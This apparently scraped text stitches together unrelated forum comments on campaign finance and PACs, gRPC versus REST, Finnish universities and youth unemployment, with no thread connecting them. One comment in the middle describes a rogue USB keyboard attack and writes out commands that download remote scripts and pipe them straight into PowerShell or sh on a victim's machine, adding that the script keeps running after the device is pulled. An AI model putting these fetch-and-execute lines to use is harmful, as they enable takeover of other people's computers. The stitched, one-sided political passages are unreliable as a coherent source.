Casey Neistat did a video review of "American Kingpin: The Epic Hunt for the Criminal Mastermind Behind the Silk Road" by Nick Bilton. The Silk Road was the black market of the Internet where you could have gotten anything. I haven't read it yet but looks like a good read.

Planned Parenthood is not a political organization. The ACLU is a human rights organization.

You must be joking, trying to claim that donations to Planned Parenthood and the ACLU arise from charitable impulses to help the poor. And you need to look up what PP and the ACLU actually do; a good look at their history would also be a good idea.

The big political donations are the GOP backing PAC's.

You need a reality check.

Do you also need a citation that the earth is round? Here are a few of the environmentalist billionaire buddies that corrupted the federal government during the Obama administration:

So, your analysis is strongly contradicted by facts. Automation clearly causes some jobs to go away, but they are obviously replaced by new jobs.

Nice thing about corporations; they have lawyers to find the loopholes. ... Here's the top contributors list from OpenSecrets.org

The table you point to lists primarily contributions from employees, and they go primarily to causes and issues. The association with corporations is indirect, as is the association with parties. You're being dishonest by misrepresenting this table as "political donations by corporations".

Yes, that's the biggest loophole: the Political Action Committee ("PAC"). It's "supposed" to be to "communicate issues". Every candidate has one.

I don't see what "loophole" you see there. Are you saying that millions of people who want abortion rights, or gay rights, or marriage equality, or fight climate change should not be able to pool their money to buy airtime to make their views known?

A start would be a law mandating that money donated to political action committees has to be disclosed: if you're funding political campaigns, you have to do it openly, not secretly.

And that is effectively the law already; that's why we have OpenSecrets.org.

And what are such laws supposed to accomplish anyway? Have a look at the 2016 candidate Super PACs: http://tinyurl.com/j4kvjd9 The ten biggest spenders are Bush, Rubio, Clinton, Christie, anti-Trump, Cruz, Carson, Kasich, and Fiorina. The only one of those who even made it past the primary was Clinton, and her showing was piss-poor compared to what people expected. The idea that Super PAC money can buy elections is laughable in light of simple obvious facts (and political scientists have also found little evidence for this).

Furthermore, what do you expect to happen without PACs / Super PACs? Do you thing George Soros or Bill Gates are going to STFU? Of course not: they are going to buy airtime privately to peddle their (usually self-serving) political ideologies. Or they do what Bezos did and simply buy a newspaper. If you take away the ability of people to share resources in PACs and Super PACs, all you accomplish is that you increase the barrier to entry for public political statements and really limit it to a few plutocrats. Of course, that is why the Democrats are advocating this in the first place: to increase the state's control over political speech.

gRPC and REST don't even solve the same problem. Google is using RPC extensively, but mainly in the context of their own internal distributed systems, with an army of testers and developers, massive integration testing, and a single codebase. REST is for highly heterogeneous systems, languages, developer skills, a huge range of latencies, and numerous failure and security models. RPC can be a useful tool for the kinds of distributed systems Google is building to support their services; it is not a good tool for the kind of applications that REST is being used for, and there is tons more of the latter than the former.

As for CORBA, going through firewalls was the least of its problems; it was just badly designed. That's why Google, IBM, Microsoft, and Sun all developed their own systems. So, if you want RPC, by all means, use gRPC. But chances are that any form of RPC is probably not the right solution to your problem to begin with and you should be using something different.

Look back at circa 1900. Much travel and agriculture was by horse. Horse manure in city streets was a constant presence and problem, causing disease.

There are a few characters missing from the code I posted. I don't have a Windows machine handy to test with at the moment, in order to catch any errors. It would actually be more like:

Win+R powershell -command 'Invoke-WebRequest http...

Invoke-WebRequest downloads a URL, like a browser would, but then we use the pipe character | to send the content of that URL to powershell. Powershell is kind of like cmd.exe, but more powerful. If you do Win+R cmd.exe you'll see what looks like a DOS prompt, where you can type commands. Powershell is that on steroids (and on crack).

Piping them together, you get "retrieve commands from http://tinyurl.com/jfjdhd and run them using powershell ".

The Linux/Unix/Mac version is similar:

curl http://tinyurl.com/hacker | sh

Curl gets whatever is at that URL and sends it to "sh". Sh, the shell, is the "DOS prompt" of Unix, and runs whatever commands that curl got from the internet.

Trying to do much through the GUI could be quite error-prone, though errors are acceptable. The more normal approach would be for the keyboard to run something like this single command for Windows, which tells the OS to download and run a script:

Win+R Invoke-WebRequest tinyurl.com/hfgrhd | powershell.exe

And / or this for Linux and Mac:
Ctrl-Alt+F1 curl http://tinyurl.com/hfhfh | sh
Ctrl-Alt+F7

Powershell or /bin/sh takes over from there - the victim could yank the trojan device out and the malicious script will continue to run in the background.

Actually, being a Finn, I see the problem more like being that people hang out at the university at their discretion until they're 30, and they might either get a Ph.D. or not... some cuts may be in order.

People hang out at university until they're 30 because they don't have a lot of other options when governments raise labor costs too high. "At the discretion of the state" doesn't just mean that they tell you you can't go if you want to, it also means giving people "free" university education after policies destroy their entry-level jobs.

Youth unemployment in Finland and the Eurozone is 22% (and that is with railroading out of work students into universities); in the US, it is 11%.
